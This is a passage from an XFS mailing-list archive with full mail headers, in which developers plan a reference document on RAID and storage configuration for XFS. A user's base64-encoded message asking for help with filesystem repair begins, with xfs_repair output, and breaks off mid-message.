saying makes >> complete sense, but I don't think this is widespread knowledge or >> well documented anywhere that regular end users would know this by >> and large. > > And that is why this is a perfect example of what I'd like to see > people writing documentation for. > > http://oss.sgi.com/archives/xfs/2013-12/msg00588.html > > This is not the first time we've had this nested RAID discussion, > nor will it be the last. However, being able to point ot a web page > or or documentation makes it a whole lot easier..... > > Stan - any chance you might be able to spare an hour a week to write > something about optimal RAID storage configuration for XFS? I could do more, probably rather quickly. What kind of scope, format, style? Should this be structured as reference manual style documentation, FAQ, blog?? I'm leaning more towards reference style. How about starting with a lead-in explaining why the workload should always drive storage architecture. Then I'll describe the various standard and nested RAID levels, concatenations, etc and some dis/advantages of each. Finally I'll give examples of a few common and a high end workloads, one or more storage architectures suitable for each and why, and how XFS should be configured optimally for each workload and stack combination WRT geometry, AGs, etc. I could also touch on elevator selection and other common kernel tweaks often needed with XFS. I could provide a workload example with each RAID level/storage architecture in lieu of the separate workload section. Many readers would probably like to see it presented in that manner as they often start at the wrong end of the tunnel. However, that would be antithetical to the assertion that the workload drives the stack design, which is a concept we want to reinforce as often as possible I think. So I think the former 3 section layout is better. I should be able to knock most of this out fairly quickly, but I'll need help on some of it. For example I don't have any first hand experience with large high end workloads. I could make up a plausible theoretical example but I'd rather have as many real-world workloads as possible. What I have in mind for workload examples is something like the following. It would be great if list members who have one the workloads below would contribute their details and pointers, any secret sauce, etc. Thus when we refer someone to this document they know they're reading of an actual real world production configuration. Though I don't plan to name sites, people, etc, just the technical configurations. 1. Small file, highly parallel, random IO -- mail queue, maildir mailbox storage -- HPC, filesystem as a database -- ?? 2. Virtual machine consolidation w/mixed guest workload 3. Large scale database -- transactional -- warehouse, data mining -- ?? 4. High bandwidth parallel streaming -- video ingestion/playback -- satellite data capture -- other HPC ?? 5. Large scale NFS server, mixed client workload Lemme know if this is ok or if you'd like it to take a different direction, if you have better or additional example workload classes, etc. If mostly ok, I'll get started on the first 2 sections and fill in the 3rd as people submit examples. -- Stan From david@fromorbit.com Sun Feb 2 23:24:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E88D7FBC for ; Sun, 2 Feb 2014 23:24:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 27FA18F8033 for ; Sun, 2 Feb 2014 21:24:23 -0800 (PST) X-ASG-Debug-ID: 1391405060-04bdf0121ebb2c0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id o5tALUiRf2LXUSt9 for ; Sun, 02 Feb 2014 21:24:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkIcAH8n71J5LGaB/2dsb2JhbABZgww4qQpDj02FUoECF3SCJQEBAQMBOhwcBwULCAMSBgklDwUlAw0UE4d9Bw7McBaMdoEqAgEBBkkHhDgElEKDZ5IigW+BUiiBLQgX Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Feb 2014 15:54:19 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAC11-0006Nq-HT; Mon, 03 Feb 2014 16:24:15 +1100 Date: Mon, 3 Feb 2014 16:24:15 +1100 From: Dave Chinner To: Stan Hoeppner Cc: Chris Murphy , xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140203052415.GQ13997@dastard> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> <20140202213030.GQ2212@dastard> <52EF1D76.6070302@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EF1D76.6070302@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391405060 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144774 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 10:39:18PM -0600, Stan Hoeppner wrote: > On 2/2/2014 3:30 PM, Dave Chinner wrote: > > On Sun, Feb 02, 2014 at 11:09:11AM -0700, Chris Murphy wrote: > >> On Feb 1, 2014, at 2:44 PM, Stan Hoeppner > >> wrote: > >>> On 2/1/2014 2:55 PM, Chris Murphy wrote: > >>>> On Feb 1, 2014, at 11:47 AM, Stan Hoeppner > >>>> wrote: > >>> When nesting stripes, the chunk size of the outer stripe is > >>> -always- equal to the stripe width of each inner striped array, > >>> as I clearly demonstrated earlier: > >> > >> Except when it's hardware raid6, and software raid0, and the user > >> doesn't know they need to specify the chunk size in this manner. > >> And instead they use the mdadm default. What you're saying makes > >> complete sense, but I don't think this is widespread knowledge or > >> well documented anywhere that regular end users would know this by > >> and large. > > > > And that is why this is a perfect example of what I'd like to see > > people writing documentation for. > > > > http://oss.sgi.com/archives/xfs/2013-12/msg00588.html > > > > This is not the first time we've had this nested RAID discussion, > > nor will it be the last. However, being able to point ot a web page > > or or documentation makes it a whole lot easier..... > > > > Stan - any chance you might be able to spare an hour a week to write > > something about optimal RAID storage configuration for XFS? > > I could do more, probably rather quickly. What kind of scope, format, > style? Should this be structured as reference manual style > documentation, FAQ, blog?? I'm leaning more towards reference style. Agreed - reference style is probably best. As for format style, I'm tending towards a simple, text editor friendly markup like asciidoc. >From there we can use it to generate PDFs, wiki documentation, etc and so make it available in whatever format is convenient. (Oh, wow, 'apt-get install asciidoc' wants to pull in about 1.1GB of dependencies) > How about starting with a lead-in explaining why the workload should > always drive storage architecture. Then I'll describe the various > standard and nested RAID levels, concatenations, etc and some > dis/advantages of each. Finally I'll give examples of a few common and > a high end workloads, one or more storage architectures suitable for > each and why, and how XFS should be configured optimally for each > workload and stack combination WRT geometry, AGs, etc. That sounds like a fine plan. The only thing I can think of that is obviously missing from this is the process of problem diagnosis. e.g. what to do when something goes wrong. The most common the mistake we see is trying to repair the filesystem when th storage is still broken and making a bigger mess. Having something that describes what to look for (e.g. raid reconstruction getting disks out of order) and how to recover from problems with as little risk and data loss as possible would be invaluable. > I could also touch on elevator selection and other common kernel > tweaks often needed with XFS. I suspect you'll need to deal with elevators and IO schedulers and the impact of BBWC on reordering and merging early on in the storage architecture discussion. ;) As for kernel tweaks outside the storage stack, i wouldn't bother right now - we can always add it later it it's appropriate. > I could provide a workload example with each RAID level/storage > architecture in lieu of the separate workload section. Many readers > would probably like to see it presented in that manner as they often > start at the wrong end of the tunnel. However, that would be > antithetical to the assertion that the workload drives the stack design, > which is a concept we want to reinforce as often as possible I think. > So I think the former 3 section layout is better. Rearranging text is much easier than writing it in the first place, so I think we can worry about that once the document starts to take place. > I should be able to knock most of this out fairly quickly, but I'll need > help on some of it. For example I don't have any first hand experience > with large high end workloads. I could make up a plausible theoretical > example but I'd rather have as many real-world workloads as possible. > What I have in mind for workload examples is something like the > following. It would be great if list members who have one the workloads > below would contribute their details and pointers, any secret sauce, > etc. Thus when we refer someone to this document they know they're > reading of an actual real world production configuration. Though I > don't plan to name sites, people, etc, just the technical configurations. 1. General purpose (i.e. unspecialised) configuration that should be good for most users. > > 1. Small file, highly parallel, random IO > -- mail queue, maildir mailbox storage > -- HPC, filesystem as a database > -- ?? The hot topic of the moment that fits into this category is object stores for distributed storage. i.e. gluster and ceph running openstack storage layers like swift to store large numbers of pictures of cats. > 2. Virtual machine consolidation w/mixed guest workload There's a whole lot of stuff here that is dependent on exactly how the VM infrastructure is set up, so this might be difficult to simplify enough to be useful. > 3. Large scale database > -- transactional > -- warehouse, data mining They are actually two very different workloads. Data mining is really starting to move towards distributed databases that specialise in high bandwidth sequential IO so I'm not sure that it really is any different these days to a traditional HPC application in terms of IO... > 4. High bandwidth parallel streaming > -- video ingestion/playback > -- satellite data capture > -- other HPC ?? Large scale data archiving (i.e. write-once workloads), pretty much anything HPC... > 5. Large scale NFS server, mixed client workload I'd just say large scale NFS server, because - apart from modifying the structure to suit NFS access patterns - the underly config is still going to be driven by the dominant workloads. storage config is still > Lemme know if this is ok or if you'd like it to take a different > direction, if you have better or additional example workload classes, > etc. If mostly ok, I'll get started on the first 2 sections and fill in > the 3rd as people submit examples. It sounds good to me - I think that the first 2 sections are the core of the work - it's the theory that is in our heads (i.e. the black magic) that is simply not documented in a way that people can use. Cheers, Dave. -- Dave Chinner david@fromorbit.com From DLeonov@beeline.ru Sun Feb 2 23:26:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, MIME_BASE64_BLANKS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AD3E37FBC for ; Sun, 2 Feb 2014 23:26:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 54E45AC001 for ; Sun, 2 Feb 2014 21:26:18 -0800 (PST) X-ASG-Debug-ID: 1391405171-04bdf0121fbb380001-NocioJ Received: from mxs.beeline.ru (mxs.beeline.ru [37.9.244.1]) by cuda.sgi.com with ESMTP id CBybpYNYTOwwybVQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 21:26:12 -0800 (PST) X-Barracuda-Envelope-From: DLeonov@beeline.ru X-Barracuda-Apparent-Source-IP: 37.9.244.1 Received: from mxs.beeline.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 5FF6B2109A; Mon, 3 Feb 2014 09:26:10 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 5A06E210A3; Mon, 3 Feb 2014 09:26:10 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (ms-lnmh001.bee.vimpelcom.ru [192.168.168.27]) by mxs.beeline.ru (Postfix) with ESMTP id 19CAC2109A; Mon, 3 Feb 2014 09:26:10 +0400 (MSK) Subject: =?KOI8-R?B?Pj46IFJlOiBIwTogUmU6IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDog?= =?KOI8-R?B?ZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTog?= =?KOI8-R?B?MTU5MA==?= X-KeepSent: 16FE6E5B:C3E862DE-44257C74:001D9802; type=4; name=$KeepSent X-ASG-Orig-Subj: =?KOI8-R?B?Pj46IFJlOiBIwTogUmU6IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDog?= =?KOI8-R?B?ZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTog?= =?KOI8-R?B?MTU5MA==?= To: xfs@oss.sgi.com Cc: david@fromorbit.com X-Mailer: Lotus Notes Release 8.5.3FP2 July 03, 2012 Message-ID: From: Dmitriy Yu Leonov Date: Mon, 3 Feb 2014 09:26:04 +0400 X-MIMETrack: Serialize by Router on MS-LNMH001/HUB/BeeLine(Release 8.5.3FP2 HF22|July 24, 2012) at 03.02.2014 09:26:10 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=CBBBF6E7DF8E1E928f9e8a93df938690918cCBBBF6E7DF8E1E92" Content-Disposition: inline X-KLMS-Rule-ID: 6 X-KLMS-Message-Action: clean X-KLMS-AntiSpam-Status: not checked X-KLMS-AntiSpam-Interceptor-Info: not checked X-KLMS-AntiVirus: Kaspersky Security 8.0 for Linux Mail Server 8.0.0.455, bases: 2014/02/02 22:39:00 #7465970; khse: 2013-04-03 08:48:01 X-KLMS-AntiVirus-Status: Clean, skipped X-Barracuda-Connect: mxs.beeline.ru[37.9.244.1] X-Barracuda-Start-Time: 1391405172 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_BASE64_BLANKS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144774 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding --0__=CBBBF6E7DF8E1E928f9e8a93df938690918cCBBBF6E7DF8E1E92 Content-type: text/plain; charset=KOI8-R Content-transfer-encoding: base64 DQpHb29kIG1vcm5pbmcuDQoNCklzIHRoZXJlIGFueSBuZXdzIG9uIG15IHF1ZXN0aW9uPw0KDQo/ DQogIFNpbmNlcmVseSwgRG1pdHJ5Lg0KDQotLS0tLSDwxdLF08zBzs86IERtaXRyaXkgWXUgTGVv bm92L0JlZUxpbmUgxMHUwTogMDMuMDIuMjAxNCAwOToyMyAtLS0tLQ0KDQrv1DoJRG1pdHJpeSBZ dSBMZW9ub3YvQmVlTGluZQ0K68/N1ToJeGZzQG9zcy5zZ2kuY29tLA0K68/QydE6CWRhdmlkQGZy b21vcmJpdC5jb20NCuTB1ME6CTMwLjAxLjIwMTQgMDg6MDgNCvTFzcE6CT4+OiBSZTogSME6IFJl OiBYRlM6IEFzc2VydGlvbiBmYWlsZWQ6IGZzX2lzX29rLCBmaWxlOg0KICAgICAgICAgICAgZnMv eGZzL3hmc19hbGxvYy5jLCBsaW5lOiAxNTkwDQoNCg0KR29vZCBtb25pbmcsIGRlYXIgZGV2ZWxv cGVycy4NCg0KSXMgdGhlcmUgYW55IGNvbmNsdXNpb24gb24gdGhlIHN1Ym1pdHRlZCBpbmZvcm1h dGlvbj8gQ2FuIFlvdSBoZWxwIHdpdGggYQ0Kc29sdXRpb24gdG8gbXkgcHJvYmxlbT8NCg0KUFMu IEknbSByZWdpc3RlcmVkIHByb2JsZW0gYWxzbyBpbiBYRlMgYnVnemlsbGE6DQpodHRwOi8vb3Nz LnNnaS5jb20vYnVnemlsbGEvc2hvd19idWcuY2dpP2lkPTEwNDUNCg0KPw0KICBTaW5jZXJlbHks IERtaXRyeS4NCg0KLS0tLS0g8MXSxdPMwc7POiBEbWl0cml5IFl1IExlb25vdi9CZWVMaW5lIMTB 1ME6IDMwLjAxLjIwMTQgMDg6MDcgLS0tLS0NCg0K79Q6CURtaXRyaXkgWXUgTGVvbm92L0JlZUxp bmUNCuvPzdU6CXhmc0Bvc3Muc2dpLmNvbSwNCuvP0MnROglkYXZpZEBmcm9tb3JiaXQuY29tDQrk wdTBOgkyOS4wMS4yMDE0IDA4OjIyDQr0xc3BOgk+PjogUmU6IEjBOiBSZTogWEZTOiBBc3NlcnRp b24gZmFpbGVkOiBmc19pc19vaywgZmlsZToNCiAgICAgICAgICAgIGZzL3hmcy94ZnNfYWxsb2Mu YywgbGluZTogMTU5MA0KDQoNClJlcG9zdCBteSBtZXNzYWdlLCBiZWNhdXNlIEkgYWNjaWRlbnRh bGx5IGFuc3dlcmVkIERhdmUgaW5zdGVhZCBvZg0KYW5zd2VyaW5nIGFsbC4gU29ycnkuDQpJJ20g cmVnaXN0ZXJlZCBwcm9ibGVtIGFsc28gaW4gWEZTIGJ1Z3ppbGxhOg0KaHR0cDovL29zcy5zZ2ku Y29tL2J1Z3ppbGxhL3Nob3dfYnVnLmNnaT9pZD0xMDQ1DQoNCkdvb2QgZXZlbmluZywgRGF2ZS4N Cg0KST9tIGluc3RhbGxlZCB4ZnNwcm9ncyB2ZXJzaW9uIDMuMS4xMSBhbmQgdHJ5IHRvIHJlcGFp ciBmaWxlc3lzdGVtIG9uIHRoZQ0KcmFpZCBkaXNrLiBCdXQgY29tbWFuZCB4ZnNfcmVwYWlyIC1Q IC9kZXYvc2RiMSBoYW5nZWQuDQpUaGVuIEkgZGVjaWRlZCB0byByZWJvb3Qgd2l0aCBvbGQga2Vy bmVsIHZlcnNpb24gMy43LjEwIChJIGhhdmUgc2V2ZXJhbA0KdmVyc2lvbnMgb2Yga2VybmVsKS4g QWZ0ZXIgcmVib290IHRoZSBzeXN0ZW0sIEkgcmFuIHRoZSBjb21tYW5kIGFnYWluLg0KQ29tbWFu ZCBleGVjdXRlZCBzdWNjZXNzZnVsbHkgaW4gdGhlIG9sZCBrZXJuZWwgMy43LjEwLiBPdXRwdXQg b2YgdGhlDQpjb21tYW5kcyBhdHRhY2hlZCB0byB0aGUgbGV0dGVyIGFmdGVyIHRoZSB0ZXh0Lg0K RnJvbSB0aGUgZGVzY3JpcHRpb24gb2YgdGhlIGNvbW1hbmRzIG91dHB1dCBjbGVhciB0aGF0IHRo ZXJlIGlzIGEgbG9zcyBvZg0KbG9nIGZpbGUgZGF0YS4gTm93IEkgbmVlZCB0byByZXN0b3JlIHRo ZSBmaWxlIHN5c3RlbSB3aXRoIGEgbWluaW11bSBvZiBkYXRhDQpsb3NzLiBJcyBpdCBwb3NzaWJs ZT8gV2hhdCBjb21tYW5kIHNldCBjb3JyZWN0bHkgZm9yIHRoYXQgdXNlPw0KDQpQUzogb3V0cHV0 IG9mIHByb2dyYW1zIGFuZCBzeXN0ZW0gaW5mbyBpbiB0aGUgYm90dG9tIG9mIHNpZ25hdHVyZS4N Cg0KDQoNCj8NCiAgU2luY2VyZWx5LCBEbWl0cnkuDQoNCg0KdW5hbWUgLWENCkxpbnV4IGRldmFz dGF0b3IgMy43LjEwLWdlbnRvbyAjMiBTTVAgV2VkIE1hciAyNyAxMzoyODowMCBNU0sgMjAxMyB4 ODZfNjQNCkludGVsKFIpIFhlb24oVE0pIENQVSAzLjAwR0h6IEdlbnVpbmVJbnRlbCBHTlUvTGlu dXgNCg0KDQp4ZnNfcmVwYWlyIC1QIC9kZXYvc2RiMQ0KUGhhc2UgMSAtIGZpbmQgYW5kIHZlcmlm eSBzdXBlcmJsb2NrLi4uDQpQaGFzZSAyIC0gdXNpbmcgaW50ZXJuYWwgbG9nDQogICAgICAgLSB6 ZXJvIGxvZy4uLg0KRVJST1I6IFRoZSBmaWxlc3lzdGVtIGhhcyB2YWx1YWJsZSBtZXRhZGF0YSBj aGFuZ2VzIGluIGEgbG9nIHdoaWNoIG5lZWRzIHRvDQpiZSByZXBsYXllZC4gIE1vdW50IHRoZSBm aWxlc3lzdGVtIHRvIHJlcGxheSB0aGUgbG9nLCBhbmQgdW5tb3VudCBpdCBiZWZvcmUNCnJlLXJ1 bm5pbmcgeGZzX3JlcGFpci4gIElmIHlvdSBhcmUgdW5hYmxlIHRvIG1vdW50IHRoZSBmaWxlc3lz dGVtLCB0aGVuIHVzZQ0KdGhlIC1MIG9wdGlvbiB0byBkZXN0cm95IHRoZSBsb2cgYW5kIGF0dGVt cHQgYSByZXBhaXIuDQpOb3RlIHRoYXQgZGVzdHJveWluZyB0aGUgbG9nIG1heSBjYXVzZSBjb3Jy dXB0aW9uIC0tIHBsZWFzZSBhdHRlbXB0IGEgbW91bnQNCm9mIHRoZSBmaWxlc3lzdGVtIGJlZm9y ZSBkb2luZyB0aGlzLg0KDQoNCnhmc19yZXBhaXIgLW4gL2Rldi9zZGIxDQpQaGFzZSAxIC0gZmlu ZCBhbmQgdmVyaWZ5IHN1cGVyYmxvY2suLi4NClBoYXNlIDIgLSB1c2luZyBpbnRlcm5hbCBsb2cN CiAgICAgICAtIHNjYW4gZmlsZXN5c3RlbSBmcmVlc3BhY2UgYW5kIGlub2RlIG1hcHMuLi4NCmJs b2NrICgzLDE0OTg5MzMtMTQ5ODkzMykgbXVsdGlwbHkgY2xhaW1lZCBieSBjbnQgc3BhY2UgdHJl ZSwgc3RhdGUgLSAyDQphZ2ZfZnJlZWJsa3MgMjU5OTQwNzYxLCBjb3VudGVkIDI1OTk0MDc3NiBp biBhZyAzDQphZ2ZfZnJlZWJsa3MgMjU1MDEyMzYyLCBjb3VudGVkIDI1NTAxMjM2NSBpbiBhZyA0 DQphZ2ZfZnJlZWJsa3MgMjYwNjI3MjU1LCBjb3VudGVkIDI2MDYyNzM3MiBpbiBhZyA1DQphZ2Zf ZnJlZWJsa3MgMjU1MTY4NjQ0LCBjb3VudGVkIDI1NTE2ODYyNiBpbiBhZyAyDQphZ2ZfZnJlZWJs a3MgMjA3MDQ0OTgzLCBjb3VudGVkIDIwNzA0NDk4NCBpbiBhZyA2DQphZ2ZfZnJlZWJsa3MgMjQz NjQ2MTUwLCBjb3VudGVkIDI0MzY0NjEwMCBpbiBhZyAxDQpibG9jayAoMCw5Mjg4Nzc1LTkyODg3 NzUpIG11bHRpcGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMg0KYmxvY2sg KDAsOTI5Mjg4MC05MjkyODgwKSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBz dGF0ZSAtIDINCmJsb2NrICgwLDkzMTE3NDYtOTMxMTc0NikgbXVsdGlwbHkgY2xhaW1lZCBieSBj bnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyDQpibG9jayAoMCw5MzEzNzc0LTkzMTM3NzQpIG11bHRp cGx5IGNsYWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMg0KYmxvY2sgKDAsNDAxMDU1 Mi00MDEwNTUyKSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDIN CmJsb2NrICgwLDcyOTQwMTAtNzI5NDAxMCkgbXVsdGlwbHkgY2xhaW1lZCBieSBjbnQgc3BhY2Ug dHJlZSwgc3RhdGUgLSAyDQpibG9jayAoMCw2OTA3MTE0LTY5MDcxMTQpIG11bHRpcGx5IGNsYWlt ZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMg0KYmxvY2sgKDAsNDA1ODM2MC00MDU4MzYw KSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDINCmJsb2NrICgw LDM4OTE3ODQtMzg5MTc4NCkgbXVsdGlwbHkgY2xhaW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3Rh dGUgLSAyDQpibG9jayAoMCw5MzIyODI0LTkzMjI4MjQpIG11bHRpcGx5IGNsYWltZWQgYnkgY250 IHNwYWNlIHRyZWUsIHN0YXRlIC0gMg0KYWdmX2ZyZWVibGtzIDIyODI0Mjc1NywgY291bnRlZCAy MjgyNDI5MTMgaW4gYWcgMA0Kc2JfZmRibG9ja3MgMTcwOTY4NDkzMywgY291bnRlZCAxNzA5Njg1 MTU3DQogICAgICAgLSBmb3VuZCByb290IGlub2RlIGNodW5rDQpQaGFzZSAzIC0gZm9yIGVhY2gg QUcuLi4NCiAgICAgICAtIHNjYW4gKGJ1dCBkb24ndCBjbGVhcikgYWdpIHVubGlua2VkIGxpc3Rz Li4uDQogICAgICAgLSBwcm9jZXNzIGtub3duIGlub2RlcyBhbmQgcGVyZm9ybSBpbm9kZSBkaXNj b3ZlcnkuLi4NCiAgICAgICAtIGFnbm8gPSAwDQpkYXRhIGZvcmsgaW4gaW5vIDE2NzYyOTY2IGNs YWltcyBmcmVlIGJsb2NrIDE2NjU0NDI0DQpiYWQgbmJsb2NrcyAyNTYgZm9yIGlub2RlIDE2NzY0 NjY4LCB3b3VsZCByZXNldCB0byAyNTUNCmRhdGEgZm9yayBpbiBpbm8gMTY3Njc4ODIgY2xhaW1z IGZyZWUgYmxvY2sgOTMxNzgzNg0KZGF0YSBmb3JrIGluIGlubyAxNjc2Nzg4MiBjbGFpbXMgZnJl ZSBibG9jayA5MzE3ODM3DQpiYWQgbmJsb2NrcyA1MzAgZm9yIGlub2RlIDE2NzY3ODgyLCB3b3Vs ZCByZXNldCB0byA1NDUNCmRhdGEgZm9yayBpbiBpbm8gMTY3NzA5MzQgY2xhaW1zIGZyZWUgYmxv Y2sgOTMwOTU5NA0KZGF0YSBmb3JrIGluIGlubyAxNjc3MDkzNCBjbGFpbXMgZnJlZSBibG9jayA5 MzA5NTk1DQpiYWQgbmJsb2NrcyAyMzk2IGZvciBpbm9kZSAxNjc3MjU5Niwgd291bGQgcmVzZXQg dG8gMjM5NQ0KZGF0YSBmb3JrIGluIGlubyAxNjc3NTYxOSBjbGFpbXMgZnJlZSBibG9jayA5MzE5 Nzg1DQpkYXRhIGZvcmsgaW4gaW5vIDE2Nzc1NjE5IGNsYWltcyBmcmVlIGJsb2NrIDkzMTk3ODYN CmJhZCBuYmxvY2tzIDYyODQgZm9yIGlub2RlIDE2Nzc1NjE5LCB3b3VsZCByZXNldCB0byA2Mjkx DQpiYWQgbmJsb2NrcyAxMDMgZm9yIGlub2RlIDE2NzgwNDk4LCB3b3VsZCByZXNldCB0byAxMDIN CmJhZCBuZXh0ZW50cyAyNyBmb3IgaW5vZGUgMTY3ODA0OTgsIHdvdWxkIHJlc2V0IHRvIDI2DQpk YXRhIGZvcmsgaW4gaW5vIDE2NzgxOTU5IGNsYWltcyBmcmVlIGJsb2NrIDcyOTUyMTQNCmRhdGEg Zm9yayBpbiBpbm8gMTY3ODE5NTkgY2xhaW1zIGZyZWUgYmxvY2sgNzI5NTIxNQ0KYmFkIG5ibG9j a3MgNzYgZm9yIGlub2RlIDE2NzgxOTU5LCB3b3VsZCByZXNldCB0byA4MQ0KYmFkIGtleSBpbiBi bWJ0IHJvb3QgKGlzIDE4NTYsIHdvdWxkIHJlc2V0IHRvIDE4NDQpIGluIGlub2RlIDE2NzgyMDcw IGRhdGENCmZvcmsNCmJhZCBuYmxvY2tzIDMwNjAgZm9yIGlub2RlIDE2NzgyMDcwLCB3b3VsZCBy ZXNldCB0byAzMDU5DQpiYWQgbmV4dGVudHMgNjQyIGZvciBpbm9kZSAxNjc4MjA3MCwgd291bGQg cmVzZXQgdG8gNjQxDQpkYXRhIGZvcmsgaW4gaW5vIDE2NzgzNDAzIGNsYWltcyBmcmVlIGJsb2Nr IDEzNDU3Nzk1NzkNCmRhdGEgZm9yayBpbiBpbm8gMTY3ODM0MDMgY2xhaW1zIGZyZWUgYmxvY2sg MTM0NTc3OTU4MA0KYmFkIG5ibG9ja3MgMzAyOSBmb3IgaW5vZGUgMTY3ODM0MDMsIHdvdWxkIHJl c2V0IHRvIDMwNDMNCmJhZCBuYmxvY2tzIDkyNyBmb3IgaW5vZGUgMTY3ODM0OTMsIHdvdWxkIHJl c2V0IHRvIDkyNg0KYmFkIG5ibG9ja3MgOTc3IGZvciBpbm9kZSAxNjc4MzU1Mywgd291bGQgcmVz ZXQgdG8gOTcxDQpkYXRhIGZvcmsgaW4gaW5vIDE2Nzg2Mzk2IGNsYWltcyBmcmVlIGJsb2NrIDg0 MzA1NzINCmJhZCBuYmxvY2tzIDYwIGZvciBpbm9kZSAxNjc4NjM5Niwgd291bGQgcmVzZXQgdG8g NjUNCmRhdGEgZm9yayBpbiBpbm8gMTY3ODY0MTYgY2xhaW1zIGZyZWUgYmxvY2sgOTI4ODc3NA0K ZGF0YSBmb3JrIGluIGlubyAxNjc4NjQxNiBjbGFpbXMgZnJlZSBibG9jayA5Mjg4Nzc1DQpiYWQg bmJsb2NrcyA3MTkgZm9yIGlub2RlIDE2Nzg2NDE2LCB3b3VsZCByZXNldCB0byA3MjENCmRhdGEg Zm9yayBpbiBpbm8gMTY3ODY4MDMgY2xhaW1zIGZyZWUgYmxvY2sgOTMwNzA5MA0KZGF0YSBmb3Jr IGluIGlubyAxNjc4NjgwMyBjbGFpbXMgZnJlZSBibG9jayA5MzA3MDkxDQpiYWQgbmJsb2NrcyA1 NiBmb3IgaW5vZGUgMTY3ODY4MDMsIHdvdWxkIHJlc2V0IHRvIDY1DQpiYWQgbmJsb2NrcyA1MzYg Zm9yIGlub2RlIDE2Nzg3MDEwLCB3b3VsZCByZXNldCB0byA1MzUNCmRhdGEgZm9yayBpbiBpbm8g MTY3OTIwMjYgY2xhaW1zIGZyZWUgYmxvY2sgOTMxMjc1OA0KZGF0YSBmb3JrIGluIGlubyAxNjc5 MjAyNiBjbGFpbXMgZnJlZSBibG9jayA5MzEyNzU5DQpiYWQgbmJsb2NrcyAzMDEgZm9yIGlub2Rl IDE2NzkyMDI2LCB3b3VsZCByZXNldCB0byAzMDUNCmJhZCBuYmxvY2tzIDMwNTkgZm9yIGlub2Rl 